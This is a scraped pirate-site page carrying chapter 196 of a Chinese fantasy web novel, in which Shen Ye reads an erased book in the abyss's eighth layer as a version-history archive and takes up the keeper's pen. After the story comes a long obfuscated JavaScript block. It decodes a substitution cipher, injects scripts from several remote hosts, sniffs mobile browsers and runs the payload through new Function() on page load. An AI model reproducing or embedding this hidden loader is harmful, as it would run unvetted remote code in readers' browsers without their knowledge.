第196章 书
一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!
第196章书(第1/2页)
沈夜站在石台前,看着那本无字书。
守层人说,门后面有一本书。
守层人说,那本书,是深渊真正藏着的东西。
沈夜以为,那本书会写着什么惊天动地的秘密。
他翻开书页,里面一个字都没有。
只有印子。
他忽然明白,书不是没有字。
是字都被人擦掉了。
只剩印子。
沈夜合上书,退后一步。
他把自己的思维,切换到写代码时的习惯。
改代码的时候,他从来不会直接删掉旧版本。
他会先保存一份,再动手。
保存下来的那份,叫历史版本。
后来他改得多了,发现历史版本有一个好处。
改坏了,可以回退。
改乱了,可以对比。
删除的记录,只要还在历史里,就总能找回来。
沈夜说,这一层,留的就是历史版本。
他说,第八层,叫留底。
他说,留底,是删不掉的记录。
他说,这本书,是第一版代码的完整留底。
他说,有人把它的字,一个字一个字,擦掉了。
他说,擦掉的字,等于被删的记录。
他说,印子,等于版本历史里删不掉的痕迹。
他说,记录还在,只是看不见了。
他重新翻开书页,一页一页看过去。
印子密密麻麻,叠了很多层。
有些印子,能看出是字。
有些印子,只剩下几道模糊的弧线,像被擦了很多遍。
沈夜伸出手指,顺着其中一道印子,慢慢描。
描到一半,他停住了。
他说,我读不出这本书。
他说,印子是痕迹,不是字。
他说,要读出书的内容,只有一条路。
他说,把字重新写出来。
他刚说完,石台正中央,忽然浮起一支笔。
笔没有落下来。
它悬在半空,笔尖朝下,对着书页。
笔很旧,笔杆磨得发亮,像被人握了很多年。
笔尖上,凝着一滴墨。
墨是新的。
沈夜认得这支笔。
守层人消失之前,没有带走的,就是这支笔。
他伸出手,想接住笔。
笔没有动。
它在半空停了一瞬,然后自己落下去。
笔尖落在书页上。
没有声音。
墨在纸面上洇开,一笔,一笔,自己写了起来。
沈夜没有动。
他看着那支笔,在空白的书页上,写下一个字。
待。
笔画很利,收笔往右上挑。
是守层人的笔锋。
沈夜说,守层人写了很多年的字,最后剩下的,是一个待字。
他说,他把这个字,留在了书的第一页。
他说,他在等我。
他走近石台,看着那个待字。
墨还没干。
待字浮在纸面上,像刚从水里捞起来。
沈夜说,这本书,要翻开第一页,才能往下读。
他说,第一页上,只有这一个字。
他说,补完这个待字,就是翻开这本书的第一页。
他伸手,想去拿那支笔。
笔自己浮起来,退到石台边,悬在半空。
沈夜看着它,说,你不让我拿。
他说,这支笔,是守层人的。
他说,它只认守层人的手。
他试了一次,笔退得更远。
他又试了一次,笔悬到了石台外。
沈夜停下来。
他说,不是笔不让我拿。
(本章未完,请点击下一页继续阅读)第196章书(第2/2页)
他说,是我还没到能拿它的时候。
他退后一步,重新看那本书。
留底场安静下来。
灰白的印子铺满地面,像一个巨大的,没有删除干净的版本库。
过了很久,门外传来林小雪的声音。
声音很近,像是贴着门缝在说。
林小雪说,沈夜,你听我说。
她说,你丢过一段记忆,你自己不记得了。
她说,我替你记着。
她说,你三年前写第一版代码的那个晚上,打印店的地下室,灯管坏了三根,你摸黑写完的。
她说,你写完最后一行的时候,打印机自己响了,吐出一张纸。
她说,纸上只有一行字,第七层,等你。
她说,你把那张纸叠好,塞进口袋。
她说,第二天早上,你找不到那张纸了。
她说,你也不记得那张纸上写了什么。
沈夜站在石台前,没有说话。
他低头,看了一眼自己的左腕。
绿纹在袖口下面,安安静静地绕着腕骨。
他忽然觉得,林小雪说的那件事,好像真的发生过。
不是记起来了。
是像代码里的一段注释,明明存在,却一直被编译器忽略。
现在有人把注释翻出来了。
沈夜说,我记得打印店。
他说,我记得地下室。
他说,我不记得那张纸。
他说,可我知道,她说的,是真的。
他刚说完,门缝那边,传来零号的声音。
零号的声音很轻,断断续续,像一段信号不好的投影。
零号说,沈夜,门缝边上,有一行小字。
她说,刚才没有的。
她说,是你说要补字之后,才浮出来的。
沈夜走过去,蹲在门缝边。
灯座的光照过去,门缝内侧的壁上,浮着一行极浅的字。
字很小,笔画很轻,像用指甲划出来的。
沈夜一个字一个字地读。
第八层,不认灯,认笔。
他读完了,没有说话。
林小雪说,不认灯,认笔。
她说,你带下来的灯座,开不了这一层的门。
她说,这一层,要用笔来开。
沈夜站起来,看着石台上那支悬着的笔。
他说,灯座,是第七层的钥匙。
他说,这一层,是第八层。
他说,第八层认笔。
他说,守层人把笔留在这里,就是在等一个能拿笔的人。
他走回石台前。
他伸出手,这一次,他没有急着去抓笔。
他先对着那支笔,说,我是来补字的。
他说,我把待字补完,把这本书翻开。
他说,你要不要跟我走。
笔悬在半空,停了一瞬。
然后它自己落下来,笔尖朝下,落在沈夜摊开的手心里。
笔杆是温的。
像刚被人握过。
沈夜握住笔,走到石台前,站在书页边。
那个待字,还在纸面上,墨已经半干。
他低下头,看着待字的第一笔。
他说,补字,不是描印子。
他说,是按印子的笔锋,重新写一遍。
他说,写出来的字,要和印子完全重合。
他说,重合了,书页才翻得开。
他提起笔。
笔尖悬在待字第一笔的上方。
留底场里,所有的印子,都在同一瞬间,微微亮了一下。
像一页写满又擦净的纸,在等一个重新落笔的人。
沈夜没有抬头。
他落笔了。
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();